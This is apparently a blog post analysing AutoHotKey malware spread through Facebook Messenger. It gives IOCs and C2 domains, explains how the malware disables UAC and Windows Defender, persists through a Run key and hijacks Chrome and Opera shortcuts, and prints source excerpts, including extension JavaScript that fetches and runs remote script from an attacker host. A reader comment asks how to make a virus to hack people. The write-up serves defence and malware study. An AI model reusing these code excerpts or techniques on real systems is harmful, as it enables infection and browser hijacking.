I found this malware spreading through the Facebook messenger. Thanks to Rashan Hasaranga for notifying me this in the first place. It was targeting Sri Lankan people on Facebook. It was a compressed â.bzâ file which was spreading via the messenger. The name had âvideo_â and a random number.
After I downloaded the files, I checked the file hashes. I couldnât find any analysis done before. So, I decided to get to the bottom of this. The malicious files have the extension as â.comâ instead of an exe. However, itâs a compiled exe, renaming this to “com” will still run as an exe by the Windows loader.
These are the samples I found. However, they all contain the same malware. I found 2 authors compiled this from 2 different machines. Read along ?
Analyzed Samples
Video_372473954.mp4.com
Video_201207204.mp4.com
Video_1675537051.mp4.com
Static Analysis
The file was being detected by 44 Antiviruses. So obviously itâs a malware or something dodgy.
The manifest file reveals that this is a compiled AutoHotKey file. Also, this malware requires administrative privileges to run. It will prompt to run as admin.
The decompiled source code be found in the Links section.
Behavior Graph
The malware will require admin privileges to run. On the first run, it will replicate itself inside the %appdata% folder of the system as âServiceApp.exeâ. In this case âC:\users\admin\AppData\Roamingâ folder. Next, it will begin execution with âServiceApp.exe -bâ parameter to perform its malicious activity. It calls sc.exe to stop and remove the Windows Defender service. I will come to that in the Dynamic Analysis section with the source code.
Summary of IOCs
Main Object – Video_201207204.mp4.com
sha256 792153d5472e70034bdd46c0a9cac9a6eaad509492a37cc412db79ba37499ba9 sha1 937018d9646ea107e8e6944cbc44bf7176c6336c md5 99e1e267724eb0b9b1bebce919d86275
Dropped Executables – Video_201207204.mp4.com
C:\Users\admin\AppData\Roaming\pZip.dll sha256 - a2bab3879e3e86a936effa6687fe6bfa033f060a191f211687e605bbe9439c62 C:\Users\admin\AppData\Roaming\ServiceApp.exe sha256 - 792153d5472e70034bdd46c0a9cac9a6eaad509492a37cc412db79ba37499ba9
Modified Files – ServiceApp.exe
The following events happen once the malware replicates and begins execution from the %appdata% folder as âServiceApp.exe -bâ.
C:\Program Files\Google\Update\1.3.33.23\GoogleUpdate.exe_ sha256 - bfbdd26604fc653e01976ef23c92cf7adb59f9e80f47350f1a72b7876bbed60a C:\Program Files\Google\Update\GoogleUpdate.exe_ sha256 - bfbdd26604fc653e01976ef23c92cf7adb59f9e80f47350f1a72b7876bbed60a C:\Program Files\Opera\updatechecker\opera_autoupdate.exe_ sha256: b6d8a3f1fb8d3f6a98c30f1874d76a2e2568004c7f7afca378462f7d46a8589b C:\Users\Public\Desktop\Google Chrome.lnk sha256: a45ff0f1f0b35ffede272a2b644822a2aa8beadb6e46fc8827a803e6f00018e4 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk sha256: e0fdce84e433bd76ef9534d26af43d77237f3f42f8a2f38b6b6224953e5f89eb C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk sha256: ae3d9337f34d014e8b2393320af4751271a0d6ab61c6206dccd6f7c939ee0fa5 C:\Users\admin\AppData\Roaming\ServiceApp.zip sha256 - 46dfdf9edb2769546ccc7bec45b7ea18db23f5d40ade88b97366d1f9675e73e3 C:\Users\Public\Desktop\Opera.lnk sha256: ac9d47a58e5b6d1c864f639ff88b95c2fda692f74c9e213a420fdbf2d281daf3 C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera12.15 1748.lnk sha256: dfb7f10c89a56cc8c9f2109f93daba87eddf3431d59345acc3a3f2dc6a8b43b4 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Opera.lnk sha256: 02e8b95e955d2f1617577a828ab64ced96a00e2baa7e3d0ce971a3cfe4d0879d
Registry Entries – ServiceApp.exe
The malware will create an autorun registry key as âExtension_Serviceâ and will begin execution with the parameter â-bâ from the %appdata% location.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Name: Extension_Service Value: "C:\Users\admin\AppData\Roaming\ServiceApp.exe" -b Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Name: EnableLUA Value: 0 Key: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate Name: Start Value: 4 Key: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdatem Name: Start Value: 4 Key: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\GoogleChromeElevationService Name: Start Value: 4 Key: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Name: DisableAntiSpyware Value: 1 Key: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Name: DisableAntiSpyware Value: 1
DNS requests
whizzup.icu nameking.icu
HTTP/HTTPS requests
http://nameking.icu/service.php http://nameking.icu/ServiceApp.zip
Dynamic Analysis
Once I decompiled the code, I realized this malwareâs variable names were Turkish. Furthermore, when I checked the decompiler log, I found out the full path names of the %appdata% variables used while compiling the malware. This malware includes the âpZip.dllâ DLL file embedded inside the malware and drops inside the %appdata% folder. Since the author has used âFileInstallâ which will Include the specified file inside the compiled version of the script, therefore full path of the from the malware authorâs machine will be stored since he has used %A_AppData% variable in AHK.
[code language=”c”]
FileInstall, pZip.dll, %A_AppData%\pZip.dll
[/code]
Full Paths Found
Video_201207204.mp4.com
0006926A -> CompiledPathName: c:\users\jennietaranto46521\downloads\aq\pZip.dll 0007496C -> CompiledPathName: C:\Users\JENNIE~1\AppData\Local\Temp\2\ahk5DD8.tmp
Video_1675537051.mp4.com
Video_372473954.mp4.com
0006A66D -> CompiledPathName: c:\users\fatih\onedrive\masaĂźstĂź\01.05.2019\pZip.dll 00075D6A -> CompiledPathName: C:\Users\fatih\AppData\Local\Temp\ahk4AF5.tmp
The source code is self-explanatory since itâs AHK. Iâll do a walkthrough of the malware briefly. In the beginning, we can see the variables declared and this malware has 3 hostnames,
[code language=”c”]
liste = whizzup.icu|nameking.icu|kebapci.icu
[/code]
The âwhizzup.icuâ host is no longer available. The other 2 hosts work. When one fails in that list, the malware tries the next host. I guess they are backup servers for the malware to contact.
If the malware is not compiled it will exit. It fetches the parameter as %1% and stores in param1. Next, it will call RunAsAdmin function to elevate privileges. Itâs using âShellExecuteAâ Win32 API passing the âRunAsâ verb to elevate privileges.
[code language=”c”]
RunAsAdmin()
{
if (!A_IsAdmin)
{
DllCall("shell32\ShellExecuteA", "uint", 0, "str", "RunAs", "str", A_ScriptFullPath, "str", "", "str", A_WorkingDir, "int", 1)
ExitApp
}
}
[/code]
It checks if the parent process is either any of these process names âexplorer.exe,chrome.exe,firefox.exe,iexplore.exe,opera.exe,browser.exe,WinRAR.exe,7zFM.exeâ by using WinGet. If not, it will exit.
The FileInstall included the pZip.dll file as I have discussed earlier which revealed the authorâs %appdata% variable.
This is the place where the malware will replicate as âServiceApp.exeâ. If the running directory is not equal to the %appdata% folder it will replicate itself. The variable âappdata_dosya_adiâ is âServiceApp.exeâ. It will then begin execution with the parameter â-bâ. If you just double click from the %appdata% directory it will exit if not the parameter is not passed.
At this point, the malware will begin writing entries in the registry. It will first create an autorun key âExtension_Serviceâ in âSoftware\Microsoft\Windows\CurrentVersion\Runâ to run the malware with the â-bâ parameter.
It will disable the UAC by writing the value â0â to the âEnableLUAâ key in âSoftware\Microsoft\Windows\CurrentVersion\Policies\Systemâ.
It also disables the Windows Defender by setting â1â to the âDisableAntiSpywareâ key located at âSOFTWARE\Policies\Microsoft\Windows Defenderâ
Next it will target Google Chromeâs update services and disable them by setting the âStartâ key to â4â located at âSYSTEM\CurrentControlSet\servicesâ
The updates services âgupdateâ and âgupdatemâ will be disabled along with the âGoogleChromeElevationServiceâ. Itâs also a service which will recover and repairs the Google Chrome updater.
Currently, the elevation service is only installed for Google Chrome builds. The primary use case at the moment for the service has to do with the Chrome recovery component. The recovery component is registered only for Google Chrome builds. It repairs the Chrome updater (Google Update) when the algorithm detects that Chrome is not being updated. Since Chrome could be installed per-system or per-user, an elevation service is needed to repair the code in the per-system install case.
https://chromium.googlesource.com/chromium/src/+/master/chrome/elevation_service/
After disabling the service, the malware will rename the âGoogleUpdate.exeâ located inside the Program Files directory to âGoogleUpdate.exe_â so that it wonât be an executable anymore.
It will stop the Windows Defender and delete the service from the system.
The malware uses COM functions to access the internet and download the malicious plugin from the server. It will try each hostname in the âliste = whizzup.icu|nameking.icu|kebapci.icuâ variable to download the file or update itself by the output from âService.phpâ. It first fetches http://nameking.icu/service.php
Something I noticed is the server is configured to accept only requests containing âAHK_Requestâ as the User-Agent.
If I send a normal HTTP GET request it will return nothing.
If the server returns
[code language=”C”]
##server_ok##|zip|http://nameking.icu/ServiceApp.zip
[/code]
The malware will first check for the string â##server_ok##â, if thatâs available then it will begin to check for the string âzipâ or âupdateâ and call the respective functions. It will download the third string to the %appdata% folder. In this case, it will fetch http://nameking.icu/ServiceApp.zip.
If the string from the server returned contains âzipâ file, the malware will unzip it using itâs âpZip.dllâ file and delete the downloaded âServiceApp.zipâ file. If the string returned âupdateâ will directly execute the new malware from the server.
For unzipping itâs using the âxZIP_ExtractFilesâ API from the âpZip.dll.
By looking at the headers, we can determine itâs a zip file which is downloaded.
The zip file contains this 2 file which is the extension loaded to Chrome and Opera browsers.
After beautifying the JS script, hereâs what it does in the Current version which is returned from the server.
[code language=”javascript”]
fetch("http://nameking.icu/" + Math.random()).then(function(ajafaramomaju) {
ajafaramomaju.ok && ajafaramomaju.blob().then(function(ajafaramomaju) {
var itonefigufolijah = URL.createObjectURL(ajafaramomaju),
epocogofida = document.createElement("script");
epocogofida.src = itonefigufolijah, document.head.appendChild(epocogofida)
})
});
[/code]
The malware will start modifying all the shortcut files (.lnk) of Google Chrome and Opera on your machine to load this extension from the %appdata% folder.
It will write the â–enable-automation –disable-infobars –load-extension=â parameters to the shortcut files (.lnk) resulting in an output like this.
"C:\Program Files\Google\Chrome\Application\chrome.exe" --enable-automation --disable-infobars --load-extension="C:\Documents and Settings\haxor\Application Data\ServiceApp"
Once you run the infected Chrome using the current extension it will send a random request to nameking.icu host.
Other Links Found
I did some file brute forcing on this malicious server and found out the following links are valid. The same urls are valid on http://kebapci.icu host as well.
http://nameking.icu/ip.php http://nameking.icu/configs.php http://nameking.icu/server.php http://nameking.icu/hd.php http://nameking.icu/privacy.html http://nameking.icu/video.php http://nameking.icu/reg.php http://nameking.icu/service.php http://nameking.icu/cp.php http://nameking.icu/pp.php
Summary
This malware is targeting the Google Chrome and Opera browsers and making them run a malicious extension downloaded by the malware. The malware will disable UAC and delete the Windows Defender service and disable all the Google Chrome update services to prevent updating of Chrome.
Since it has an update functionality and an autorun key, it constantly checks for updated extensions on each startup from its server and loads it to your browser by changing all the shortcut files (.lnk). If the server returns an âupdateâ string, this will run whatever the server is hosting. They can change the malware anytime.
Links
Malware AHK Source Code
Network Traffic Capture
[tweet https://twitter.com/binitamshah/status/1152959331043876865]
TFS cool stuff bro! ??
how make virus with autohotkey? i want hack people. im good people
Can you write a blog post about Dark Web?